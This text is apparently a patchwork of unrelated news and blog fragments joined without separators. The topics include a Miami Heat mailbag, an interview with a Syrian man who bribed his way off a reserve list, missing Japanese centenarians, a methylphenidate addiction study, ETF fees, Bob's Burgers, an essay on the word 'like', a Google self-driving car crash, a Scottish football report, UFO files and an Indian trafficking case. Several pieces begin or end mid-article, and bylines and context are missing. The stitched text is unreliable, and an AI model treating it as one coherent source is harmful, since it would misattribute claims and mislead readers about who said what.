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A: And yet, as a veteran, the summer and offseason belong to Chris to do as he sees fit. And all of that might not matter, either. He's back in South Florida now, with a full week to bond before the start of training camp. I've also felt that "bonding" is overrated. What matters in the NBA is talent, and Chris, if he plays as he did during the first half of last season, after his previous bout with blood clots, remains arguably the team's best player. And even if Chris has been out of sight, just about every teammate has made a point of mentioning how much Chris means to the team. The next week is when a true statement will be made, with Chris back in town. The workouts before camp do not involve contact, so just being present will say plenty about what could come next.
Q: Will the Heat rotation go deep into this roster? As a perennial favorite for championship contention the emphasis on a seven- or eight-man rotation makes sense. But in a transition year searching for player upsides and wanting 48 minutes of up-tempo play, it would seem to make sense to follow the Warriors lead of a 10-man rotation that gets all the players invested in team success. Lacking a trio of superstars where some combination always had to be on the court, this year's roster of hungry players seeking to cement or kick-start a successful career would seem to argue for a more freewheeling approach. -- Jack, Fort Myers.
A: You play more talent if you have more talent, as the Warriors did and do again. I see it the other way with this season's Heat, at least as long as contending remains possible. If Chris Bosh makes it back, then I would figure on plenty of Bosh, Hassan Whiteside, Goran Dragic and Justise Winslow, with other pieces utilized as needed. While it's safe to figure on ample doses of Josh Richardson, Dion Waiters and Tyler Johnson, especially with the NBA's move toward smaller ball, I'm not sure the Heat necessarily have committed themselves to guaranteed minutes for Derrick Williams, Wayne Ellington, James Johnson, Luke Babbitt or Willie Reed, let alone Josh McRoberts or Udonis Haslem.
Q: Pat Riley is an NBA icon who will inspire the ages. Riley doesn't owe players; players owe Riley. Riley inspires me and others. Whatever Dwyane Wade thinks he has contributed to the game of basketball is miniscule to what Pat Riley has done for basketball. Riley drafted and developed Wade. Wade is not his premier legacy player. Riley has many. How many legacy coaches does Wade have? -- F.T.
Ahmed had already completed his two-year mandatory military service years ago, but Syrian men can be called back up until the age of 42.
Facing a shortage of manpower, the Syrian Arab Army (SAA) is calling men such as Ahmed, who previously completed and were discharged from mandatory military service, into the reserves.
Even before the war, men aged 18-42 were required to serve in the army for two years, with exemptions and deferrals only available for students and those with extenuating family circumstances, medical conditions or connections.
Today, reserve duty means active duty.
“Everyone I know who was called to the reserves is now posted at a checkpoint, on the frontlines or dead,” Ahmed tells Syria Direct’s Bahira al-Zarier.
Facing these choices, thousands of young Syrian men have gone into hiding or fled the country. In June, pro-opposition Syrian news site Zaman al-Wasl leaked a list of 500,000 Syrian men, including reservists, wanted for military service.
To avoid fighting in a war where “it’s not clear who’s right or who’s wrong,” Ahmed bribed a diplomatic official SP6 million ($28,000) to expunge his name from the reserves list.
Q: How did your family react when you were called for reserve duty? What did you do?
I had been married for less than one month when I was called for reserve duty. I didn’t know what to do. My family and wife were devastated. When I looked at into their eyes, I felt like I was already dead, from the intensity of their grief.
When I received the notice, I felt like my life had ended. This piece of paper was the end of me. If I joined the reserves, I would serve until the war ended, or until I died.
I decided to go to Turkey, but before I left I asked one of my relatives to run a security check on my name. Was it listed at highway checkpoints or the airport as wanted for military service?
My relative confirmed that my name was on the list of those wanted for the reserves, so I couldn’t cross through checkpoints in order to leave the country to Turkey.
I had a friend whose father works in the diplomatic corps—he can free a man sentenced to death. I visited my friend and explained the situation. He told me not to worry, he could easily help me, but it will cost me. I told him that I didn’t have a problem with paying.
"No to military service in an army that kills its own people." Poster from a 2014 campaign in Suwayda government against military service. Photo courtesy of The Creative Memory of the Syrian Revolution.
Q: How did you pay the money? How could you afford it?
In Syria, it is not just anyone who can get someone out of military service. You have to hold a respected place in the diplomatic field.
After I made an appointment with the diplomatic official, he only asked for SP6 million ($28,000), since I’m his son’s friend and he wanted to help me.
The agreement was that, after my friend’s father removed my name from the reserve duty list, I would transfer the money to his bank account.
My family is well-off, so we didn’t think SP6 million was that much. But for middle-class families, this is a huge amount that can’t be paid, especially in these war-time conditions.
Q: Were you afraid that this was a trap?
I wasn’t afraid that this was a trap and didn’t hesitate since the SP6 million was a small amount that didn’t account for 1 percent of my friend’s father’s wealth.
Q: You paid SP6 million instead of serving the country that you live in?
The person who decides to serve in the military has a reason, a goal that drives him. He’s convinced in what he’s doing.
As for me, I’m not convinced by the war or the revolution. I’m afraid for my life in the midst of this war where it’s not clear who’s right or who’s wrong. And we, the Syrian people, are the cheapest things in this conflict.
That’s why I paid SP6 million ($28,000) instead of losing my life. If I fought with the army now, I would serve until the war ends, or die first. If I died, regime supporters will consider me a martyr and the opposition will regard me as a corpse.
To avoid this, I paid the money to secure my life. Now, I go to work every day and no one says anything.
We Syrians are stuck between a rock and a hard place, both of which lead to death. If, from the beginning of the revolution, I had supported a certain side, then I must respect my decision by fighting.
Q: You served in the army before. What changed?
Yes, I served in the army for a year and a half. When I served, there wasn’t heavy fighting of active front lines. I was a lieutenant in an administrative position.
[Ed.: During his time at the university, Ahmed attended a 15-25 day military training camp each summer, which was counted for six months of his two-year military service.]
But now things are different. This time, I’d be fighting on the front lines. As reservists, we don’t have experience or competence. I’d pay everything I have rather than join the army.
Just because I’m still in Syria and living in regime territory doesn’t mean that I support the regime. I’m neutral. I don’t support the regime or the Free Syrian Army or the divisions that Syria has experienced. I’m not the only one who has this opinion.
The peaceful demonstrations and protests made the world think that every Syrian is either a supporter or a dissident, depending on where he lives or who controls his town.
I don’t accept this mentality. I only want to stay in my country; I don’t want to leave.
Q: Why do you think the regime is enlisting reservists for active duty?
The regime has lost many soldiers during the revolution and its battles with the opposition. There’s a shortage of soldiers.
Tokyo's reputed oldest woman has been missing for decades, Japanese officials have discovered as they made checks after the city's supposed oldest man was found to have died years ago.
Fusa Furuya, aged 113, had been registered as living with her daughter.
But the daughter says she has not seen her mother since the 1980s.
According to government data, there are more than 40,000 centenarians in Japan. But the discoveries in Tokyo have cast doubt on the accuracy of the figures.
Despite being reputed to be Tokyo's oldest woman, it appears no-one had bothered to check that Mrs Furuya was still alive - until now.
Local council officials have been visiting the very elderly after the body of Sogen Kato, thought to be Tokyo's oldest man, was found last week.
The police believe he had been dead for more than 30 years.
When officials went to Ms Furuya's home, they discovered that she had been missing for decades.
Her daughter told them she had not been in contact with her mother when she moved into the flat in 1986.
But she had registered her mother as living there, and kept paying her health insurance, just in case.
Researchers have shown a single dose of methylphenidate, a stimulant drug prescribed to treat attention-deficit hyperactivity disorder (ADHD), may normalize the nerve pathways that go haywire in cocaine addicts' brains.
"These findings may also be generalizable to other types of addiction," study lead investigator Dr. Rita Goldstein, a professor in psychiatry and neuroscience at the Icahn School of Medicine at Mount Sinai School of Medicine in New York City, told CBSNews.com.
About 800,000 Americans older than 12 are dependent on cocaine, according to a government report from the Substance Abuse and Mental Health Services Administration. The drug is derived originally from the coca plant that grows in South America, then synthesized into a white powder that users inhale through the nose or dissolve in water and inject into the bloodstream. Cocaine can also be processed into a rock crystal form and smoked as crack.
Goldstein points out while cocaine isn't the most widely abused drugs in America, it's one of the most dangerous.
"Cocaine addiction may not be number one in the charts, but it's number one [among illicit drugs] in terms of emergency room visits," she said. Cocaine was involved in nearly 423,000 emergency room visits in 2009 according to SAMHSA -- more than marijuana, heroin, and other stimulants and illicit drugs.
When a person uses cocaine, it causes the brain to become flooded with the neurotransmitter dopamine, a chemical messenger essential for controlling pleasure responses and movement. Dopamine is also implicated in drug addiction. During addiction, the dopamine pathways and networks involved in controlling our behavior get dysregulated, Goldstein explained, and chronic use can cause dopamine to respond less to the stimulants. Those changes may lead people to take the drugs compulsively and become addicted.
Methylphenidate, like cocaine, targets dopamine transporters.
For the study, published June 26 in JAMA Psychiatry, the researchers recruited 18 adults who were addicted to cocaine but were otherwise healthy and were not on any medications. They were randomized to either receive a single 20 milligram pill of methylphenidate or placebo, and had MRI brain scans taken when at rest. Non-addicted individuals were also used to serve as control subjects for comparison.
Study co-author Anna Konova, a psychology graduate student at Stony Brook University in N.Y., told CBSNews.com that the researchers wanted to see through imaging scans how specific regions of the brain connected with each other, by comparing the addicted individuals' brain connectivity pathways to those of the non-addicted ones, with and without methylphenidate.
They found that a single dose of methylphenidate normalized the brain pathways, increasing and reducing some of the neural activity between different networks of brain regions. Given the brain networks involved, Goldstein theorized methylphenidate may have boosted the brain's control over the automatic, impaired responses that may lead a user to compulsively seek a drug.
The researchers pointed out though this was a brain imaging study, not a treatment study, so questions remain about whether methylphenidate can be a treatment for cocaine addiction. Goldstein said the pill's uptake in the brain is slower than that of cocaine, and that's essential in other replacement therapies like nicotine patches for smokers or methadone for heroin addicts. It could also provide a window where therapy and other treatments could help those recovering from addiction.
"This slower action is necessary to avoid the increase in 'highs' and cravings," she said.
Next, the researchers want to see if the brain effects from methylphenidate can be sustained long-term. Konova pointed out that previous studies that tried methylphenidate as a standalone treatment for cocaine addiction failed or produced inconsistent results, so methylphenidate plus therapy may be the solution.
"We're looking to see how it can work in conjunction with behavioral therapies for addiction," said Konova.
They also want to see if their results can be generalized to other addictive drugs.
This study isn't the only recent attempt at developing a treatment for cocaine addiction. Researchers at Johns Hopkins University School of Medicine in May identified a compound called "CGP3466B"that blocked the brain pathway cocaine acts on in mice.
Scientists have also been using lasers to turn on and off areas of rats' brains implicated in cocaine addiction.
Take Jabari Parker returning from injury, for instance. In one scenario he could not miss a single game, score 23 points per game, and make an All-Star team, or in another scenario he has a slow start, regresses from last season, and misses half the games this year.
What I’ll try to do here is go in to some detail about five different predictions I have for Milwaukee this season, and I’ll leave you to be the judge of their boldness. The commonality of all five of these predictions is that I think there is a reasonable chance they occur.
The rise of VWO is intriguing for several reasons. One is that EEM has been considered the market leader by virtue of its earlier launch in 2003 vs. 2005 for VWO. The first-mover advantage is considered a powerful force in the ETF marketplace, or at least it was until VWO displaced assumed the throne.
But ETF rankings are multi-faceted when it comes to practical considerations. VWO may have more assets, but EEM still has the edge by far in terms of liquidity. Average daily volume for EEM is nearly 60 million shares, several fold higher than VWO’s 16 million daily average over the past three months, according to Yahoo Finance. For traders, EEM is still likely to be the first choice.
But there’s another difference between the two funds, and one that may explain the Vanguard portfolio’s rise: VWO’s expense ratio of 0.27% is a good deal lower than EEM’s 0.69%. Expense ratios don’t mean much in the short run, but over time the differences add up. Maybe that’s why the less-costly VWO’s trailing 5-year annualized total return through Friday is 10.77%, comfortably above EEM’s 10.27% rise over that span, according to Morningstar.com (based on market price returns).
No one should choose ETFs based solely on expense ratio, but cost is a key factor for strategic-minded investors. All the more so if there’s a relatively wide difference in otherwise comparable funds.
Within the equity space, the spread between the expense ratios for VWO and EEM is quite wide for what usually prevails among the leading ETF choices within a given niche. Among broad U.S. equity ETFs, for example, there are at least seven worthy candidates with expense ratios ranging from 0.06%–Schwab U.S. Market (SCHB)—to several funds charging 0.20%, including iShares Russell 3000 (IWV).
A lower expense ratio is an obvious plus, but investors should consider a range of factors, including liquidity, the ETF’s benchmark, and the outlook for the product’s viability, for instance. Indeed, a number of lesser ETFs closed last year. In some cases, the shuttered funds were the low-cost leader.
Another factor is how you plan on using the ETF. Will you be day trading? Or is the fund a core holding that will sit in your portfolio for years?
In the grand scheme of investing in the context of a multi-asset class portfolio, small differences in expense ratios probably won’t make a big difference in net results. There’s a stronger case for spending time on asset allocation design and management. Even so, expenses can’t be ignored, especially when they’re relatively high and strong alternatives exist.
That caveat applies to EEM. Now that VWO has more assets, it’ll be interesting to see if Blackrock lowers EEM’s expense ratio to stay competitive. Comparing ETFs in other sectors suggests no less. It’s hard to rationalize charging more than twice as much for essentially the same product.
In sifting through the many candidates for TV Parents of the Year, the first category for Vulture’s Best of TV awards, I thought first about the Braverman family of Parenthood. Eh — it’s a good show, certainly, but not that much good parenting actually occurred. How about the Kennish and Vasquez families on Switched at Birth? There was strong collaborative child-rearing between the two families, sure, but the kids (teen girls, switched at birth!) seemed more interesting than the parents. The Hecks on The Middle? The Granthams on Downton Abbey? Rufus Humphrey on Gossip Girl? No, no, and no. There was only one parenting duo that made its mark this past season in a way that allowed the whole family to enter the pantheon of great TV clans, and that couple is Linda and Bob Belcher from Bob’s Burgers.
It takes a special kind of parent to raise joyously weird kids, and Belcher siblings Tina, Gene, and Louise are nothing if not joyously weird. Tina is perhaps overly articulate about the throes of puberty and her own rich fantasy life; Gene’s best friend is a talking toilet, and he enters elaborate table-setting contests; and Louise has a evil-villain streak a mile wide. But beneath it all, the Belcher kids love each other and get along well enough, and that’s a reflection of their parents’ very stable and real-seeming relationship.
This season’s seventh episode, “Tina-Rannosaurus Wrecks,” was a perfect distillation of everything the show does well, particularly on the family front. The episode starts with Bob encouraging Tina to try driving the family car, since they’re in an almost completely empty parking lot and, hey, most teens would leap at the chance to get behind the wheel of an automobile. Tina being Tina, she proceeds to issue painful moans the entire time, and somehow manages to crash into the one parked car in the lot.
She and Bob debate leaving a note on the car, but Tina is adamant in her position. “We have to leave a note!” she cries.
“Okay, okay, you’re so honest,” jokes her father. “Who raised you?”
“I don’t know!” wails Tina.
“It … it was me — I did,” Bob replies, not a little stunned.
The whole episode plays out with Bob trying to avoid a huge insurance-fee increase and a guilt-plagued Tina not knowing what to do.
I thought that would be the most adorable parenting moment on the show until the penultimate episode of the season, which found Bob chaperoning Louise’s school trip to the museum. All together now: D’aawwww.
But this article isn’t about my favorite words. It’s about the word I have recently decided to hate.
Last week I was flying back from a week of grant writing assistance in Alaska. About 10 hours into my travels, I heard the young lady in the plane seat behind me say the following sentence. Read it aloud and try to guess which word is my least favorite: “Like I was like what’s wrong with like that and he was like I like guess it’s like ok.”
If you guessed the word “ok,” you’re wrong. My new least favorite word is “like.” And she used it six times in the same sentence. Ack!
Actually, “like” is a great word when used correctly—and sparingly. The word “like” establishes a comparison to help the reader or listener understand some topic or concept. To communicate a new idea or some characteristic, we compare the thing to something familiar.
For example: Puppies are like five-year-old children on permanent sugar highs. Just to be clear, puppies are not really five-year-old children. They are like (i.e., similar to, resembling) five-year-old children. This is a simile. However, it is this distinction that makes the overuse of this word such a problem. If I say, “I’m like ok,” for example, then I am NOT ok. I’m only similar to “ok.”
Sentences such as “I was like, what are you doing?” simply don’t make sense. This sentence is using “like” to create a simile, but what is being compared? Do I resemble “what are you doing?” No. When I heard that sentence I was like a dog choking on a bone.
As I mentioned earlier, using “like” to create similes is fine when infrequent. This is not an issue with the word “like” but with similes in general. When you are communicating a complex or foreign idea, they can be useful. When you are using them for no other reason than to create an artistic effect, they are unnecessary.
The overuse of similes is a sure sign of an amateur writer. A writer who uses too many similes is like a child drawing with only one color of crayon. Clever at first, but quickly becoming dull. An experienced, professional writer rarely needs them because he or she will have the ability to describe things as they are. Additionally, because direct similes using “like” are so obvious to the reader, and often sound forced when frequent, good writers will rely on implied similes.
For example, the sentence, “Our chief of staff, a wolf in disguise, fired the unsuspecting clerk” compares the chief of staff to a wolf, perhaps a wolf in lamb’s wool. This is not a metaphor because it implies that the chief of staff is similar to a lion in disguise. For another example of an implied simile, the phrase “late night yawns of death” compares the process of dying in old age to the process of falling asleep. According to this implied simile, they are similar. And the writer didn’t need to use “like” even once. Yeah!
Do I catch myself using “like” like the girl on the plane? Yes, sometimes. This abuse is so prevalent in society that it begins to sound normal, and it sometimes slithers into my speech (another implied simile). You won’t find it in my formal writing or, I hope, my formal speech. Because, like, that would be like so wrong.
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Until earlier this month. On Feb. 14, one of Google’s self-driving Lexus SUVs struck a municipal bus in Mountain View, according to documents filed with the California DMV.
According to the report, the Google car was waiting at an intersection to turn right when it encountered several sand bags blocking the lane. When the light turned green, the car moved left to avoid the bags, then struck a public bus coming from behind.
Google’s autonomous driving mode was active when the crash occurred (in other incidents, Google’s test drivers had switched on manual mode). The bus was traveling at 15 miles per hour and Google’s car was going two miles per hour. According to the report, the test driver “saw the bus approaching in the left side mirror but believed the bus would stop or slow to allow the Google [autonomous vehicle] to continue.” No one was injured.
Google’s self-driving car unit has repeatedly stressed that autonomous vehicles are far safer than human-piloted ones. Getting regulatory approval and consumer acceptance of driverless fleets is the key pillar to the unit’s business strategy.
It’s unclear if Google will ascribe the bus accident to an error with its driving system or simply the complexity of traffic. Very few of the thorny insurance and policy answers about how to treat robotic systems have been worked out.
We reached out to Google for additional comment. Tomorrow is the first of the month, when Google typically puts out its monthly traffic report detailing each incident involving its cars. Google said there were no accidents registered in December or January.
The special letters-of-intent scrolls, which are hand-crafted by the ECU football offices, are a continuation of the style the Pirates' staff used for the offer letters that went viral on Aug. 1.
These letters, designed and executed by the creative minds of director of player personnel Ethan Johnson and recruiting quality control coordinator Kevin Slattery, are the first known custom doctored NLIs college football has seen.
Most NLIs just have the generic wording with the school's logo, but the Pirates once again went all out to make an impression for their future student-athletes.
(Good Morning Scotland, BBC Radio Scotland, 10 March 2017)
So, are we all clear?
1. Having another referendum on EU membership, in which the options would be to leave or remain in the EU, would NOT in fact be a second EU referendum.
2. When people vote on an EU referendum and then see that the consequences might be quite damaging, they should be given the right to change their mind in another referendum.
3. This does NOT apply in the case of a Scottish independence referendum in which people were told (for example) that a No vote would keep them in the EU, and then the consequences turned out to be the opposite.
4. Willie Rennie, we just learned, considers that leaving the EU is a prospect so serious and so damaging that it constitutes grounds to revisit the EU referendum vote. But it’s not serious enough that Scottish people should be given the choice of whether to revisit THEIR choice in the light of accurate information about what a No vote meant in the EU context.
5. In other words, it’s a serious enough matter to overturn a UK-wide vote for, but not serious enough to overturn a Scottish vote for. Even though we’re not aware of a single poll showing that the result of a second EU referendum would be any different now, whereas several polls since the EU referendum, including the most recent one, have shown a majority for Scottish independence.
6. Voters do NOT have the right to change their minds about Scotland staying in the UK within four years of their original vote, even in the light of dramatically changed circumstances, because the indyref was “once in a generation”.
But they DO have the right to change their minds about EU membership within three years of the original vote, even though all that’s happening as a result of the Leave vote is that the UK is leaving the EU, which is what people voted for even though they knew there was no detailed plan.
Kris Commons cracked in the only goal as Hibernian stretched their lead in the Championship to six points.
His 14th-minute volley, in the last game of his emergency loan from Celtic, was enough to see off a determined Dumbarton side.
The hosts created several openings and will wonder how Christian Nade failed to score from close range.
It was not vintage from Hibs, but a potentially important win in the title race as Dundee United could only draw.
Technique alone was not enough to separate Hibs from the home side - and both Martin Boyle and Chris Humphrey found early runs affected by a bobbly surface and Marvin Bartley had to hack a Gary Fleming shot clear from inside the area.
The visitors had to be resourceful and their shrewdest, most assured figure inevitably delivered a telling moment. When Humphrey's cross was headed away inside the area, the ball dropped to Commons and he carefully steered the ball into the bottom corner.
Hibs extend their lead after nearest rivals Dundee United drew at home with Queen of the South
The goal ought to have empowered Hibs, but they were unable to take command of the game.
The home side, instead, proved persistent and Lewis Vaughan briefly rose to prominence.
First, he created a chance for Robert Thomson with good skill, only for Hibs captain David Gray to make a goal-saving tackle, and then drew a good save from Ross Laidlaw with a powerful shot from 25 yards.
Hibs were more assertive after the break, with Boyle making several forays down the left with his quick and direct running. Lewis Stevenson also saw a strike bundled away by Dumbarton goalkeeper Alan Martin, with Humphrey then shooting wide
The home side remained ambitious, though, and some neat skill from Vaughan saw him skip past two Hibs defenders only for Laidlaw to rush out and smother the ball at his feet. Gray then had to head another effort off the line.
On a rare foray upfield by Hibs, an attack ended with Dumbarton defender David Smith clearing off the line. Moments later, Nade should have equalised at the back post, but failed to connect.
What the managers said
Dumbarton manager Steve Aitken: "My team were magnificent. They were up against a strong side, a big club and Neil will get them over the line, but we matched them and for spells were better. On another day, we would have taken more.
"We had chances, Christian's probably came too quickly at him.
"If they can keep giving me that [level of performance], we'll be fine."
Hibernian head coach Neil Lennon: "It was very tough. Dumbarton are on the up, Stevie's going a great job, [and it was] difficult conditions.
"It's a fantastic win and in the end we missed some good chances to put a more flattering scoreline on it.
This new kit, to be worn for the first time against England, is not too dissimilar to the 2015 incarnation, with white piping.
Probably the major difference in this year's jersey is the Southern Cross has shifted off the front of the jersey to the patch on the right arm.
Wallabies Kurtley Beale, Israel Folau, Rob Horne, Nick Phipps and Bernard Foley were on hand to launch the new uniform.
Folau said he felt some history in the jersey, which is a fairly simple design not far removed from many of the jerseys of years past.
“I love the new jersey. It fits well, the material feels great and I’m impressed with the new cut," he said.
"The colours and style are also a throwback to jerseys from the past...I think everyone is going to love it.
“The theme of this year’s TV campaign ‘Want it More’ is perfect for our squad..
The @qantaswallabies unveiled their 2016 jersey ahead of the England Series in June. https://t.co/drGwJpr4FP pic.twitter.com/lZ3ZjGRJSV — RUGBYcomau (@rugbycomau) May 4, 2016
"We know that as a playing group, the harder we work both as individuals and as a team the more we can achieve.”
The Wallabies season kicks off on June 11 against England at Suncorp Stadium.
Mozilla and Epic Games have showed the power of the Web as a platform for gaming by porting Unreal Engine 3 to the Web and showcasing Epic Citadel, using asm.js, a supercharged subset of JavaScript pioneered by Mozilla. In less than 12 months, optimizations have increased the performance of Web applications using asm.js from 40% to within 67% of native, and we expect it to get even faster. This performance opens up new opportunities for giving users an astonishing and delightful experience, from within their choice of Web browser. Any modern browser can run asm.js content, but specific optimizations currently present only in Firefox, ensure the most consistent and smooth experience.
“This technology has reached a point where games users can jump into via a Web link are now almost indistinguishable from ones they might have had to wait to download and install,” said Brendan Eich, CTO and SVP of Engineering at Mozilla. “Using Emscripten to cross-compile C and C++ into asm.js, developers can run their games at near-native speeds, so they can approach the Web as they would any other platform.”
Unreal Engine 4 is built to power the next generation of games, and is designed to scale from PC and console to mobile and the Web. We’ll be excited to see what new breakthroughs are in store once developers have access to the underlying Unreal Engine 4 code that targets asm.js and the Web.
“We were blown away by what this Mozilla-pioneered technology achieved with Unreal Engine 3 on the Web, so we had no hesitation in working with Mozilla to port Unreal Engine 4,” said Tim Sweeney, Founder and CEO, Epic Games. “We believe the Web has a crucial part to play in the future of game development and deployment, and Mozilla has proven it is the catalyst to make this happen.”
Monster Madness from NomNom Games, was the first commercial Unreal Engine 3 game published on the Web, using asm.js. The company is leading the way in showing what opportunities the Web brings to traditional game development and plans to bring other popular gaming titles to the Web.
“Using asm.js we were able to get Monster Madness up and running in a day, and have been extremely happy with how the Web has expanded our customer base, so much so that we’re now planning to expand the technology to our full games portfolio,” said Jeremy Stieglitz, CTO at NomNom Games. “It has also been extremely simple to market our games with just a Web link leveraging channels like social media and to get players into the game straight away with just the click of a mouse.”
To see these products in action at GDC, come by our South Hall booth #205 or Epic’s booth #1224. Mozilla will be demoing a wide range of partner solutions to help address the needs of a broad range of developers wanting to harness the power of the Web for gaming. We also invite you to attend one of our talks, where we’ll be showcasing asm.js and other Web technologies with in depth descriptions of both the technical underpinnings and the business case for the Web.
by BRIAN NADIG
A five-story, mixed-use building is being proposed for the site of the former Lin’s Garden Chinese Restaurant, 6556 N. Milwaukee Ave.
The 41st Ward Zoning Advisory Board is scheduled to discuss the proposal at its meeting at 6:30 p.m. Wednesday, Oct. 7, at the Olympia Park fieldhouse, 6566 N. Avondale Ave. Another proposal for the ward may be added to the meeting’s agenda, but formal plans for that project have not been submitted to Alderman Anthony Napolitano’s office.
The restaurant site proposal calls for about 20 “high-end” apartments on the upper floors and about 4,700 square feet of retail space on the ground floor, Napolitano said. The project’s developer is requesting that the property be rezoned from B3-1 to the less restrictive B3-2, Napolitano said.
The apartments would have balconies, and ground-level parking is planned. A site plan shows that a roof deck or penthouse on a possible sixth floor may be considered.
There are several nearby multi-family residential buildings of five stories or higher within a couple blocks of the site, which is located across from Niles. The restaurant has been closed for more than 5 years.
Votes taken by the advisory board serve as a recommendation to Napolitano.
The RAF was 'overruled at the highest level' and told to ignore the strange bright lights - which flashed red, blue and white - despite the fact several witnesses also spotted it.
The Ministry of Defence was criticised for a shambolic reaction which some believed could have put the nation at serious risk in one of the country's most mysterious UFO sightings.
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The RAF were 'overruled at the highest level' and told to ignore the strange lights - which flashed red, blue and white - despite the fact several witnesses also spotted it (stock image)
WHAT ARE 'BRITAIN'S X-FILES'? The cache of 15 files, which have been published by the National Archives, contain details of sightings of UFOs over almost five decades. They contain information about a number of high profile incidents that are believed to be related to extra-terrestrials, including in Rendlesham Forest in 1980, dubbed 'Britain's Roswell.' The papers were originally meant to be released in 2013 alongside thousands of others which did see the light of day, but 18 specific documents were withheld. No one knows exactly why. Fifteen have now been published with the remaining three still withheld. The release marks the final stages of what's been a nine-year long project to declassify and release the MoD's entire archive of UFO files. Mysteriously, the files have not yet been digitised so enthusiasts must go to the National Archives in Kew, West London if they want to have access to them.
The UFO files have revealed that on the morning of 5 October 1996 bright lights were reported by several civilians but the Defence Secretary at the time, Michael Portillo, did nothing, according to a report from The Sun.
An unnamed government official wrote to the Ministry of Defence voicing concerns.
'The RAF is supposed to, or so I believed, to be keeping a watchful eye on activity in the UK, but seem to have no idea what is going on', the minister wrote.
'Do they have standard procedure for these incidents? They had enough time to think about it, because the object was on our radar for upwards of seven hours!' he said.
'While I am interested in finding out what was seen, my primary concern stems from the absolute shambles that such events seem to cause'.
Reports of the strange lights made front pages and were serialised in various TV shows at the time.
'I remember this well. It was a bizarre case', Nick Pope who was part of the Ministry of Defence's UFO project from 1991 to 1994 told MailOnline.
'The official verdict was that the anomalous radar return might have been caused by a nearby church spire (an effect that can happen in certain meteorological conditions) but, in parallel, there were visual sightings from witnesses including police officers, and these were more difficult to explain.
'Furthermore, the events took place in the middle of a 'UFO flap' where there had been numerous sightings from locals.'
The late Martin Redmond - an MP who had taken a close, personal interest in the UFO phenomenon - raised the question with the MoD Mr Pope explained.
'He was concerned that whatever the cause of the radar return, it seemed the RAF had done nothing, perhaps because of the MoD's notorious defensiveness when it came to the anything to do with UFOs.
'He felt that, at the very least, further enquiries should have been made and maybe a jet scrambled - which would have cleared up the mystery in minutes.
'The bottom line was that Martin Redmond felt these events highlighted a fundamental weakness in the UK's air defence system', he said.
The letter also suggests a police video of the lights mysteriously disappeared.
The cache of 15 files, which have been published by the National Archives, contain details of sightings of UFOs seen all over the country (stock image)
'It sounds like an important UFO incident, as it has the relatively rare element of simultaneous visual and radar sightings', Nigel Watson author of the UFO Investigations Manual told MailOnline.
'In the cold light of day the nation was not at risk, but it does show that when people are looking out for UFOs, an innocent star or planet will fill their imaginations', he said.
This document is just one of many that was released last week as part of a series of files that were released by the government having been kept secret for almost 50 years.
The cache of 15 files, which have been published by the National Archives, contain details of UFO sightings seen all over the country.
A UFO was visible on military radar for seven hours above The Wash in Skegness in 1996 but officials were ordered to do nothing about it, according to a shocking document from 'Britain's X-Files'
They contain information about a number of high profile incidents that are believed to be related to extra-terrestrials, including in Rendlesham Forest in 1980, dubbed 'Britain's Roswell.'
Mysteriously, the files have not yet been digitised so enthusiasts must go to London's National Archives in Kew if they want to have access to them.
The papers were originally meant to be released in 2013 alongside thousands of others which did see the light of day, but 18 specific documents were withheld.
The files are believed to date from 1971-76, 1996-2000 and 2004.
The release marks the final stages of what's been a nine-year long project to declassify and release the MoD's entire archive of UFO files.
Three of these documents have still not been released.
This prompted claims of a conspiracy to cover-up the existence of alien life among some theorists and another delay in publication last year added to this speculation.
Conspiracy theorists are hoping the files may shed light on the notorious Rendlesham Forest incident in 1980, dubbed Britain's Roswell
'I think these files perfectly capture the wonder and fascination of the UFO mystery and show how MoD officials - myself included - struggled to make sense of one of the great mysteries of the modern era', said Nick Pope, who was part of the Ministry of Defence's UFO project from 1991 to 1994.
'Sadly, there's no 'smoking gun' in these files that will prove we've been visited by extraterrestrials, but there are plenty of intriguing UFO reports, as well as policy papers explaining how the MoD handled this subject.'
'The lack of a smoking gun and the fact that these files seem to have been slipped out without a formal media announcement is bound to start some conspiracy theories, and I know that many people believe the 'good stuff' is being held back', he said.
Conspiracy theorists are hoping the files may shed light on the notorious Rendlesham Forest incident in 1980, dubbed Britain's Roswell.
Strange lights were reported by servicemen in the forest near RAF Bentwaters and RAF Woodbridge.
RENDLESHAM FOREST INCIDENT Strange lights were reported by servicemen in the forest near RAF Bentwaters and RAF Woodbridge. The incident came to be known as 'Britain's Roswell' after the UFO sightings in New Mexico. Soldiers investigated what the lights were, including Staff Sgt Jim Burroughs, Airman First Class Edward Cabansag and Airman First Class Larry Warren. The disputed sightings, over three nights between December 26-28, occurred when Britain and the West were on high alert during the Cold War. Retired US Air Force officer Steve Longero broke a 36 year silence, in December 2016, to reveal he also saw something in the night sky. Mr Longero said the UFOs looked like red and green fluorescent lights hovering over treetops. He also dismissed one theory that the lights had been caused by a lighthouse. The incident became a topic of fascination in the UK after a group of servicemen went into Rendlesham Forest to investigate the mysterious lights and came out convinced they had seen seen an alien spacecraft. The Suffolk sightings resurfaced claims from those living in Roswell, New Mexico, in 1947 when an unexpected crash was alleged to have been the remains of a spacecraft and alien bodies. But this was rejected by the U.S. military following a close investigation into the wreckage. The British Ministry of Defence has also dismissed the claims regarding Rendlesham. It said there was no threat to national security and the UFOs were likely to be caused by a series of nocturnal lights.
The disputed sightings, over three nights between December 26-28, occurred when Britain and the West were on high alert during the Cold War.
'What's readily apparent from a detailed study of all this is that the MoD was telling Parliament, the media and the public that the UFO phenomenon was of 'no defence significance' and of limited interest to the MoD', said Mr Pope.
'However, the files show that behind the scenes, the subject was obviously taken more seriously than we let on, with many of the cases self-evidently being of great defence significance – e.g. when UFOs were seen in close proximity to military bases, were encountered by RAF pilots, or were tracked on radar by fighter controllers or air traffic controllers.'
The remaining three files are due to be released later this year.
'This is a good day for open government and for freedom of information', Mr Pope said.
The last batch of files that was released contained some papers relating to anti-gravity and gravity modification research expressed by MoD scientists.
India
oi-Anusha
In one of the largest convictions for human trafficking in the country, 39 of the total 87 accused, charged with selling girls, were sent to 10 years imprisonment and fined Rs 2.47 lakh by the District and Sessions Court in Ballari. The court that convicted the accused on Tuesday, pronounced the quantum of punishment on Wednesday. The trial in the case extended for three years but ended on a victorious note for the prosecution that was able to establish the guilt of the middlemen, traffickers, transporters and handlers apart from those running the prostitution dens.
The remaining 48 accused, also charged with human trafficking including 21 minor girls, are being tried in three separate cases. "The entire judicial proceeding took over three years of meticulous planning and preparation. At every stage of the trial, which was finally done against 50 accused, all the victims testified bringing out the most important and fundamental details of the criminal network and their modus operandi," said Rathod Ramsingh, Special Public Prosecutor.
Three years wait for justice
